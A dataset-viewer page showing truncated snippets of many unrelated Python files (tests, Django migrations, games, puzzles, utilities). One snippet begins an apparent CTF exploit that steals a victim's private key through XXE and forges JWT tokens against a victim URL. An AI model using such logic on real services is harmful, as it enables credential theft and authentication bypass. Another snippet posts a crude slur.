content stringlengths 5 1.05M |
|---|
__license__ = """
This file is part of Gnu FreeFont.
Gnu FreeFont is free software: you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation, either version 3 of the License, or (at your option) any later
version.
Gnu FreeFont is distribut... |
import json
import time
from itertools import product
import pytest
from fastapi.testclient import TestClient
import networkx as nx
from nereid.main import app
from nereid.core.config import API_LATEST
from nereid.src.network.utils import clean_graph_dict
from nereid.tests.utils import get_payload, generate_n_random_... |
"""Tests for certbot_dns_dnsimple.dns_dnsimple."""
import unittest
import mock
from requests.exceptions import HTTPError
from certbot.compat import os
from certbot.plugins import dns_test_common
from certbot.plugins import dns_test_common_lexicon
from certbot.tests import util as test_util
API_ID = 12345
API_TOKEN ... |
T = int(input())
for x in range(1, T + 1):
N, P = map(int, input().split())
S = map(int, input().split())
S = sorted(S, reverse = True)
y = hours = sum(S[0] - s for s in S[:P])
for i in range(1, N - P + 1):
hours -= (S[i - 1] - S[i]) * (P - 1)
hours += S[i] - S[P + i - 1]
if ... |
# -*- coding: utf-8 -*-
# This work is part of the Core Imaging Library (CIL) developed by CCPi
# (Collaborative Computational Project in Tomographic Imaging), with
# substantial contributions by UKRI-STFC and University of Manchester.
# Licensed under the Apache License, Version 2.0 (the "License");
# you... |
import os
import sys
import itertools
import math
import logging
import json
import re
import random
from collections import OrderedDict
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
import matplotlib.patches as patches
import matplotlib.lines as lines
from matplotlib.patches import Polygon
# Ro... |
# Rudigus - OBI 2018 - Programação Nível Senior - Fase 1 - Figurinhas da copa
n, c, m = input().split()
x = input().split()
y = input().split()
figurinhasFaltando = len(x)
for i in range(len(y)):
for j in range(len(x)):
if(y[i] == x[j]):
figurinhasFaltando -= 1
x[j] = -1
print(figur... |
# -*- coding:utf-8 -*-
__author__ = "jake"
__email__ = "jakejie@163.com"
"""
Project:StayOrder
FileName = PyCharm
Version:1.0
CreateDay:2018/10/20 9:52
"""
import smtplib
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
try:
from . import config
exc... |
# Copyright 2016-present CERN – European Organization for Nuclear Research
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2... |
# Generated by Django 3.1.5 on 2021-05-19 17:07
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('financeiro', '0012_auto_20210514_1913'),
]
operations = [
migrations.AlterField(
model_name='despesa',
name='repetir... |
import unittest
class WorkSpaceTestCase(unittest.TestCase):
def test_adding_custom_folder_to_ignore_files(self):
from fandogh_cli.workspace import Workspace
custom_entries = ["folder{}".format(i) for i in range(5)]
ignore_folders = ["behrooz", "git", ".git"]
expected_list = custom... |
#!/usr/bin/env python3
import argparse
import configparser
import enum
import logging
import os
import re
import subprocess
import sys
import time
from contextlib import contextmanager
import pathlib
import bson
# from collections import namedtuple
from typing import List, NamedTuple, Optional
import pymongo
from j... |
from .epi_model import EpiModel
from .strat_model import StratifiedModel
from .utils import *
|
"""This module provides a range of readers for accessing local and remote resources.
All readers return their data as :class:`~polymatheia.data.NavigableDict`.
"""
import json
import os
from csv import DictReader
from deprecation import deprecated
from lxml import etree
from requests import get
from sickle import Sic... |
import os
import tempfile
import numpy as np
import tensorflow as tf
from absl.testing import parameterized
from kblocks.data import cache, snapshot
from kblocks.data.cache import save_load_cache, tfrecords_cache
os.environ["TF_DETERMINISTIC_OPS"] = "1"
def as_array(dataset: tf.data.Dataset) -> np.ndarray:
ret... |
from model.details import Details
import random
from model.group import Group
from fixture.orm import ORMFixture
dba = ORMFixture(host="127.0.0.1", name="addressbook", user="root", password="")
def test_add_contact_to_group(app, db):
if len(db.get_contact_list()) == 0:
app.contact.create(Details(firstna... |
#Exercício Python 32: Faça um programa que leia um ano qualquer e mostre se ele é bissexto.
from datetime import date
ano = int(input('Informe um ano para descobrir se é BISSEXTO, caso queira tester o ano atual digite 0: '))
if ano == 0:
ano = date.today().year
if ano % 4 == 0 and ano % 100 != 0 or ano % 400 == 0:
... |
#!/usr/bin/env python
# Programmer(s): Sopan Patil.
# This file is part of the 'hydroutils' package.
import numpy
import copy
######################################################################
class Calibration(object):
""" The 'Calibration' class contains the following two methods for model calibration:
... |
"""
Pond Sizes: You have an integer matrix representing a plot of land, where the value at that location
represents the height above sea level. A value of zero indicates water. A pond is a region of water
connected vertically, horizontally, or diagonally. The size of the pond is the total number of
connected water ... |
"""
SystematicsConfig.py:
Centralization of common systematics configurations.
Original author: J. Wolcott (jwolcott@fnal.gov)
May 2014
"""
import itertools
import math
############################ Config Error Bands ########################
#number of random shifted universes
NUM_UN... |
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2017 Judit Acs <judit@sch.bme.hu>
#
# Distributed under terms of the MIT license.
from argparse import ArgumentParser
from sys import stdin
from morph_seg.sequence_tagger.inference import Inference
class MLPInference(Inference):
def... |
import sys
import os
import kivy
from kivy.app import App
from kivy.uix.gridlayout import GridLayout
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.floatlayout import FloatLayout
from kivy.uix.widget import Widget
from kivy.uix.button import Button
from kivy.uix.label import Label
from kivy.uix.popup import Po... |
# Question: https://projecteuler.net/problem=190
"""
We have x1, x2, ..., xm > 0.
So, utilizing the AM-GM inquality,
x1 * (x2)^2 * (x3)^3 * ... * (xm)^m
= x1 * [(1/2)(x2)]^2 * [(1/3)(x3)]^3 * ... * [(1/m)(xm)^m] * product{i=1..m}(i^i)
(AM-GM) <= (m / (m(m+1)/2))^(m(m+1)/2) * product{i=1..m}(i^i)
... |
from __future__ import print_function, unicode_literals, absolute_import
import glob, sys
success = False
in_ironpython = "IronPython" in sys.version
if in_ironpython:
try:
from .ironpython_console import *
success = True
except ImportError:
raise
elif sys.platform.startswi... |
"""Rendering setup"""
from os.path import abspath
from injectool import add_singleton, add_resolver, SingletonResolver
from pyviews.rendering.pipeline import RenderingPipeline
def use_rendering():
"""setup rendering dependencies"""
add_singleton('views_folder', abspath('views'))
add_singleton('view_ext... |
from abc import ABC, abstractmethod
from datetime import datetime
import ipywidgets as widgets
import plotly.graph_objs as go
class DashPlot(ABC):
@abstractmethod
def __init__(self):
super().__init__()
self.widget = go.FigureWidget()
self.dataFunction = None
self.name = None
... |
#!/usr/bin/env python
import argparse
import sys
from secureboot import which
"""
This function will print input message and exit.
"""
def Exit(inMsg):
print inMsg
sys.exit(1)
"""
This function will populate toolchain version.
"""
def GettoolchainVersion(inVersionCommand):
import subprocess
p = subprocess.Popen(... |
from . import Plugin
from jinja2 import Template
class ConsolePrint(Plugin):
def __init__(self, *, config):
self.content_tmpl = Template(config.get("content", ""))
def execute(self, vote):
rendered = self.content_tmpl.render(vote.__dict__)
print(rendered) |
import caffe
import numpy as np
import pdb
class MyLossLayer(caffe.Layer):
"""Layer of Efficient Siamese loss function."""
def setup(self, bottom, top):
self.margin = 10
print '*********************** SETTING UP'
pass
def forward(self, bottom, top):
"""The parameters here ... |
"""Application Models."""
from marshmallow import fields, Schema
from marshmallow.validate import OneOf
from ..enums import *
from ..models.BaseSchema import BaseSchema
from .StaffCheckout import StaffCheckout
from .Files import Files
class CartPosCheckoutDetailRequest(BaseSchem... |
import numpy as np
import scipy.sparse
from scipy.sparse import spmatrix, coo_matrix, sputils
from .base import _formats
from .cic import cic_matrix
from .cir import cir_matrix
from .vsb import vsb_matrix
from .util import nbytes
class cvb_matrix(spmatrix):
"""
Circulant Vertical Block matrix
Stores the ... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Script to visualize neuron firings.
#
import sys, os
import numpy as np
import time
import pickle
import py_reader # reader utility for opendihu *.py files
show_plot = True
# import needed packages from matplotlib
import matplotlib as mpl
if not show_plot:
mpl.u... |
class SabreClientError(Exception):
pass
# Authentication requested, but no credentials (client ID, client secret) provided
class NoCredentialsProvided(SabreClientError):
pass
# Did not request token
class NotAuthorizedError(SabreClientError):
pass
class UnsupportedMethodError(SabreClientError):
pass
... |
import pygame as p
from asset_loader import AssetLoader
from enemy import Enemy
from player import Player
class GameState():
WIN_WIDTH = 500
WIN_HEIGHT = 480
def __init__(self):
p.init()
p.display.set_caption("First Platformer Game")
self.win = p.display.set_mode((self.WIN_WIDTH,... |
import re
exp = input().lstrip('0')
refined_exp = re.sub(r'\D0+\d', lambda x: x.group(0)[:-1].replace('0', '') + x.group(0)[-1], exp)
terms = refined_exp.split('-')
v = []
if(len(terms) == 1):
print(eval(terms[0]))
else:
for i in terms[1:]:
v.append(eval(i))
res = eval(terms[0]) - sum(v)
print... |
#! -*- coding:utf-8 -*-
# 语义相似度任务:数据集xnli, 从train中切分了valid
# loss: concat后走3分类,CrossEntropyLoss
from bert4torch.tokenizers import Tokenizer
from bert4torch.models import build_transformer_model, BaseModel
from bert4torch.snippets import sequence_padding, Callback, ListDataset
import torch.nn as nn
import torch
import ... |
"""Exploring more than 20000 runs may slow down *pypet*.
HDF5 has problems handling nodes with more than 10000 children.
To overcome this problem, simply group your runs into buckets or sets
using the `$set` wildcard.
"""
__author__ = 'Robert Meyer'
import os # To allow file paths working under Windows and Linux
... |
import json
import yaml
with open('input.json') as js:
data = json.load(js)
with open('output.yaml', 'w') as yml:
yaml.dump(data, yml, default_flow_style=False, allow_unicode=True)
with open('input.yml') as yml:
data = yaml.load(yml)
with open('output.json', 'w') as js:
js.write(json.dumps(data))
|
from collections import defaultdict
import lib
from clustering import *
import numpy as np
def solve_13(graph, houses, infra, speed=40):
infra_len_paths = defaultdict()
objRoutes = {}
for obj in infra:
routes = lib.getFromSingleToManyPaths(graph, obj, houses, speed)
length = sum(route['len... |
import datetime
import os
from datetime import date
from pathlib import Path
from typing import List, Tuple
import numpy as np
from fire import Fire
from git import Repo, Actor
from alphabet_matrix import word_matrix, week_count_for_group
def create_repo(repo_dir):
# type: (Path) -> Repo
if not repo_dir.exi... |
# Copyright 2018 Babylon Partners. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... |
def test_atyeo():
from ..atyeo import data
d = data()
shp = d.tensor.shape
for ii in range(3):
assert shp[ii] == len(d.axes[ii])
dx = data(xarray = True)
assert len(dx.sel(Antigen = 'S').shape) == 2
def test_alter():
from ..alter import data
d = data()
shp = d.tensor.shape... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
###########################################################
# WARNING: Generated code! #
# ************************** #
# Manual changes may get lost if file is generated again. #
# Only code inside the [MANUAL] ta... |
# coding: utf-8
"""
App Center Client
Microsoft Visual Studio App Center API # noqa: E501
OpenAPI spec version: preview
Contact: benedetto.abbenanti@gmail.com
Project Repository: https://github.com/b3nab/appcenter-sdks
"""
import pprint
import re # noqa: F401
import six
class NotificationCo... |
import unittest
from typing import List
import solution
class TestSolution(unittest.TestCase):
def setUp(self) -> None:
self.solution = solution.Solution()
def test_simple_get_gamma_epsilon(self) -> None:
binaries = file_read_helper('simple_input.txt')
gamma, epsilon = self.solution.g... |
#!/usr/bin/python
# encoding: utf-8
# filename: formacaoAcademica.py
#
# scriptLattes V8
# Copyright 2005-2013: Jesús P. Mena-Chalco e Roberto M. Cesar-Jr.
# http://scriptlattes.sourceforge.net/
#
#
# Este programa é um software livre; você pode redistribui-lo e/ou
# modifica-lo dentro dos termos da Licença Públi... |
#!/usr/bin/env python3.8
import fake_jwt
import xxe_handler
import exploit_api
from re import match, compile
regexp = compile(r'^[A-Z0-9]{31}=$')
def exploit_one_team(victim_url, last_dish_id, our_ip, our_port):
private_key = xxe_handler.stole_private_key(our_ip, our_port, victim_url)
token_header = exploit... |
# Import packages
import sys
import time
import numpy as np
if sys.version_info == 2:
import Tkinter as tk
else:
import tkinter as tk
from BaseEnvironment import BaseEnvironment
from BaseAgent import BaseAgent
# Implement the class MazeEnvironment based on the mother class BaseEnvironment
class MazeEnvironme... |
# Generated by Django 3.0.4 on 2020-07-02 16:50
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Newspaper',
fields=[
... |
# encoding: utf-8
"""
Copyright (c) 2009-2011 Johns Hopkins University. All rights reserved.
This software is provided AS IS under the terms of the Open Source MIT License.
See http://www.opensource.org/licenses/mit-license.php.
"""
from .vmo import VMOModel
from .double_rotation import VMODoubleRotation
from .sessi... |
from setuptools import find_packages, setup
from distutils.util import convert_path
setup(
name='tscli',
version='0.0.1'
description='JSONRPC 2.0 client',
author='',
license='APACHE 2.0',
install_requires=['colorama', 'argparse', 'pyyaml'],
setup_requires=[],
tests_require=['unittest'],... |
"""
$Revision: 1.5 $ $Date: 2010/04/28 12:41:08 $
Author: Martin Kuemmel (mkuemmel@stecf.org)
Affiliation: Space Telescope - European Coordinating Facility
WWW: http://www.stecf.org/software/slitless_software/axesim/
"""
from __future__ import absolute_import
__author__ = "Martin Kuemmel <mkuemmel@eso.org>"
__date__ =... |
import unittest
import spydrnet as sdn
class TestGetPorts(unittest.TestCase):
def test_parameter_checking(self):
definition = sdn.Definition()
port = definition.create_port()
port.name = "MY_PORT"
self.assertRaises(TypeError, sdn.get_ports, definition, "MY_PORT", patterns="MY_PORT"... |
# coding=utf-8
# Copyright 2022 The Reach ML Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... |
import asyncio
from telethon import events
from uniborg.util import admin_cmd
@borg.on(admin_cmd(pattern="moj?(.*)"))
async def _(event):
if not event.text[0].isalpha() and event.text[0] not in ("/", "#", "@", "!"):
await event.edit("RE")
await asyncio.sleep(0.7)
await event.edit("BHSDK")... |
import argparse
import os
import sys
import bpy
"""
blender test.blend -b -P rendering.py -- --r 512 --m normalmap --o ./normalmap.png
blender test.blend -b -P rendering.py -- --r 512 --m heightmap --o ./heightmap.png
"""
dirpath = os.path.dirname(os.path.abspath(__file__))
def render_heightmap(img_resolu... |
import tensorflow as tf
import tensorflow.contrib as tc
from tensorflow.contrib import cudnn_rnn
def nor_rnn(rnn_type, inputs, length, hidden_size, layer_num=1, dropout_keep_prob=None, concat=True):
if not rnn_type.startswith('bi'):
cells = tc.rnn.MultiRNNCell([get_nor_cell(rnn_type, hidden_size, dropout_... |
# AUTO GENERATED FILE - DO NOT EDIT
from dash.development.base_component import Component, _explicitize_args
class Snackbar(Component):
"""A Snackbar component.
Material UI Snackbar component
Keyword arguments:
- children (a list of or a singular dash component, string or number; optional):
Elements to ren... |
import string
import logging
class QueryHelper(object):
def __init__(self, logger, base_url):
self.logger = logger
self.base_url = base_url
self.house_price = u''
self.loan_amount = u''
self.minfico = u''
self.maxfico = u''
self.state = u''
self.rat... |
#!/usr/bin/env python3
import glob
import json
import logging
import os
import re
import shutil
import subprocess
import tempfile
import textwrap
import unittest
from abc import ABC
from contextlib import contextmanager
from logging import Logger
from pathlib import Path
from typing import Any, Dict, Generator, List, ... |
from __future__ import print_function, division
import numpy as np
import cv2
import matplotlib.pyplot as plt
import pycuda.driver as drv
import pycuda.autoinit
import pycuda.gpuarray as gpuarray
from pycuda.compiler import SourceModule
from PatchMatch.PatchMatchCuda import PatchMatch
def paint(Iorg, Mask,... |
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: label-transform-meta.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google... |
from datetime import datetime
import attr
from requests import Session
from baseball_utils.gameday import GamedayData
from baseball_utils.savant import Savant
from baseball_utils.util import SESSION, default_attrs
def get_today():
td = Today(SESSION)
return td.probables()
@default_attrs()
class Today(obj... |
"""
This program is to make diagrams that are too frustrating to do by hand
"""
import matplotlib.pyplot as plt
import math
import numpy as np
def main(*args,**kwargs):
""" Makes diagram figures """
print 'Creating figures for Figure 2A...'
rows,columns = 8,12
cpw = 10
colors = [(a,a,a) for a i... |
# -*- coding:utf8 -*-
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_wechatpy import Wechat
from flask_login import LoginManager
from flask_session import Session
from config import config
from wechatpy import WeChatClient
from wechatpy.client.api import WeChatJSAPI
db = SQLAlchemy()
wecha... |
import pandas as pd
import numpy as np
# Load .npz data files containing all variables
data = np.load('/umbc/xfs1/cybertrn/sea-ice-prediction/data/merged_data/1979_2019_combined_data_25km.npz')
new_data = np.load('/umbc/xfs1/cybertrn/sea-ice-prediction/data/merged_data/2020_2021_combined_data_25km.npz')
for key in da... |
# coding: utf-8
from __future__ import division
import math
def mean_a(a):
sum_a = 0
count = 0
for i in a:
sum_a += i
count += 1
return sum_a / count
def find_slope(X, Y):
n = len(X)
v1 = sum([x * y for x, y in zip(X, Y)])
v2 = sum(X)
v3 = sum(Y)
v4 = sum([x * x f... |
import sys
import cv2 as cv
import matrixConverter
if len(sys.argv) != 3:
print("usage: python3 {} <input_image> <output_image>".format(sys.argv[0]))
print("example: python3 {} image1.jpg image1_matrixed.jpg")
exit(1)
input_image = cv.imread(sys.argv[1])
if input_image is None:
print("{} not exists.".f... |
# Priority handling
SAME_LEVEL_PRIORITY_IDENTIFIER = '|||'
# Conditional decisions
OR = '||'
MANAGE_COMMAND_NAME = 'manage'
WEBHOOK_MANAGER_COMMAND_NAME = 'webhook-manage'
DEFAULT_PRIORITY_LIST = ['Critical', 'High', 'Medium', 'Low']
|
from typing import Tuple # NOQA
from chainer import cuda
from chainer import gradient_check
import numpy
import pytest
from chainer_chemistry.config import MAX_ATOMIC_NUM
from chainer_chemistry.models.ggnn import GGNN
from chainer_chemistry.models.mlp import MLP
from chainer_chemistry.models.prediction import GraphC... |
from collections.abc import Mapping
class kfrozendict(Mapping):
"""
pulled from pypi's `frozendict` library which
itself seems to be inspired by https://stackoverflow.com/a/2704866
this is an immutable wrapper around python dictionaries
"""
def __init__(self, *args, **kwargs):
self._d... |
# coding: utf-8
"""
OpenSilex API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: INSTANCE-SNAPSHOT
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_imp... |
from unittest import TestCase
from model.graph.Graph import Graph
from model.graph.kruskal import kruskal
class TestKruskal(TestCase):
"""Tests to see that kruskal will return the set of edges corresponding
to the minimum spanning tree from various graphs"""
@staticmethod
def contains_edge(v1, v2, e... |
import base64
import hashlib
import os
from typing import Sequence
def get_all_subpaths(root: str) -> Sequence[str]:
"""
List all relative paths under the given root
"""
root = os.path.abspath(root)
for dirname, subdirs, files in os.walk(root):
for filename in files:
full_pat... |
import random
from typing import Dict
from pywmi.engines.xsdd.literals import LiteralInfo
from pywmi.engines.xsdd.vtrees.vtree import Vtree, balanced
from .primal import create_interaction_graph_from_literals
from .int_tree import IntTreeVar, IntTreeLine, IntTreeSplit, IntTreeParallel, IntTree
from .topdown_mincut im... |
from twitter_handler import TwitterHandler
import tweet_maker
import config_manager
from os import path, listdir
import argparse
def run():
parser = argparse.ArgumentParser(description='Generate Israeli politicians\' tweets')
parser.add_argument('-f', '--fetch', action='store_true', help='Fetch original tweet... |
# Generated by Django 3.1.3 on 2021-01-04 01:16
from django.db import migrations, models
import django.db.models.deletion
import users.models
class Migration(migrations.Migration):
dependencies = [
('users', '0018_profile_rm'),
]
operations = [
migrations.CreateModel(
name='... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('hmda', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='hmdarecord',
name='as_of... |
class ProgressBar:
PROGRESS_CHARS = [u"\u2600", u"\u2601", u"\u2602", u"\u2603", u"\u2604"]
def __init__(self, max, num_chars, pixels_in_char):
self.max = max
self.value = 0
self.total_pixels = num_chars * pixels_in_char
self.pixels_in_char = pixels_in_char
self.string ... |
import pytest
import webull
# pip install -U pytest
# python -m pytest -s
class TestUserClass:
def test_login(self):
webull_obj = webull.webull()
assert True == webull_obj.login_prompt()
def test_logout(self):
webull_obj = webull.webull()
print("Login success: {}".format(webul... |
n = int(input())
answer = n*(n+1)*(n+2)//6
for i in range(n-1):
u = list(map(int,input().split()))
answer -= min(u)*(n-max(u)+1)
print(answer) |
class Solution:
def subtractProductAndSum(self, n: int) -> int:
s, p = 0, 1
while n:
n, d = divmod(n, 10)
s+=d
p*=d
return p - s
|
"""
Tool to replace underscore by spaces
"""
import argparse
import os
__version__ = '0.0.1'
def parse_args():
parser = argparse.ArgumentParser(description="Rename file")
group = parser.add_mutually_exclusive_group()
parser.add_argument("file", help="taking filename", type=str, nargs='+')
group.add... |
"""This file is Only for debugging while running docker in dev mode. docker will not run this file if in production mode."""
import logging
from app.mainController import app
import ptvsd
logger = logging.getLogger('app.' + __name__) # make logger part of the 'app' module. (that is how to distinguish app logs with v... |
import logging
import os
import random
import time
import click
import numpy as np
import seaborn as sns
from collate import COLLATION_PATH, HERE, SUMMARY_DIRECTORY, collate, read_collation
from pykeen_report import plot as pkp
logger = logging.getLogger(__name__)
def make_plots(
*,
target_header: str,
... |
# uncompyle6 version 3.4.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.16 (v2.7.16:413a49145e, Mar 2 2019, 14:32:10)
# [GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)]
# Embedded file name: /Users/versonator/Jenkins/live/output/mac_64_static/Release/python-bundle/MIDI Remote Scripts/_Framework/N... |
from enum import Enum
RUN = 'run'
LISTEN = 'listen'
READ = 'read'
CLEAR = 'clear'
ASYNC = 'async'
class Mode(Enum):
RUN = 1
LISTEN = 2
READ = 4
CLEAR = 8
class Options:
def __init__(self):
self.mode = Mode.RUN
self.async = False
self.save = False
self.print = Fal... |
# Generated by Django 3.2.6 on 2021-11-30 01:51
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('report_system', '0002_work_order'),
]
operations = [
migrations.AlterField(
model_name='work_order',
... |
from intervals import (
AbstractInterval, canonicalize, CharacterInterval,
DateInterval, DateTimeInterval, DecimalInterval,
FloatInterval, Interval, IntervalFactory,
IntInterval, NumberInterval, IllegalArgument,
IntervalException, RangeBoundsException
)
__all__ = [
'AbstractInterval', 'CharacterInterval', 'canon... |
QUOTE = "'"
def split_quoted(s):
"""Split a string with quotes, some possibly escaped, into a list of
alternating quoted and unquoted segments. Raises a ValueError if there are
unmatched quotes.
Both the first and last entry are unquoted, but might be empty, and
therefore the length of the resul... |
# coding=utf-8
# Copyright 2018-2020 EVA
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to ... |
from framework import *
from problems import *
from matplotlib import pyplot as plt
import numpy as np
from typing import List, Union, Optional
# Load the streets map
streets_map = StreetsMap.load_from_csv(Consts.get_data_file_path("tlv_streets_map.csv"))
# Make sure that the whole execution is deterministic.
# This... |
from pytest_allclose import report_rmses
from nengo.rc import rc
def pytest_runtest_setup(item):
rc.reload_rc([])
rc["decoder_cache"]["enabled"] = "False"
rc["exceptions"]["simplified"] = "False"
rc["nengo.Simulator"]["fail_fast"] = "True"
rc["progress"]["progress_bar"] = "False"
def pytest_ter... |
# Generated by Django 3.0.3 on 2020-04-12 09:57
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('backend', '0010_auto_20200408_2203'),
]
operations = [
migrations.CreateModel(
name='Resolution',
fields=[
... |
import re
from flatland import String
from flatland.validation import (
IsEmail,
HTTPURLValidator,
URLCanonicalizer,
URLValidator,
)
from flatland.validation.network import _url_parts
from tests._util import eq_
def email(value):
return String(value, name='email', strip=False)
def assert_em... |
from typing import Any, Callable, Iterable, Sequence, Tuple
from stateflow import reactive
from stateflow.common import ev
from stateflow.notifier import Notifier, ScopedName, many_notifiers
def get_subnotifier(self: Notifier, name: str) -> Notifier:
if name is None or name is '':
return self.__notifier_... |
from flask import Flask, render_template, request, redirect, url_for
import uuid
class Task:
def __init__(self, task):
self.id = uuid.uuid1().hex
self.task = task
self.status = 'active'
self.completed = False
def toggle(self):
if self.status == 'active':
sel... |
import random, time, logging
from string import ascii_uppercase
random.seed(0)
logging.basicConfig(filename='./stats.log', level=logging.INFO)
def reset_db(db):
db.collection("work_batches").delete({})
db.queries.delete({})
db.models.delete({})
db.executables.delete({})
db.properties.delete({})
d... |
import os
def lambda_handler(event, context):
return "{} from Lambda!".format(os.environ['greeting from lambda'])
|
#!/usr/bin/env python
# coding: utf-8
import os
import re
from setuptools import setup, find_packages
here = os.path.abspath(os.path.dirname(__file__))
def load_readme():
with open(os.path.join(here, 'README.rst')) as f:
return f.read()
setup(
name='addon_sample',
version=re.search(
r'... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.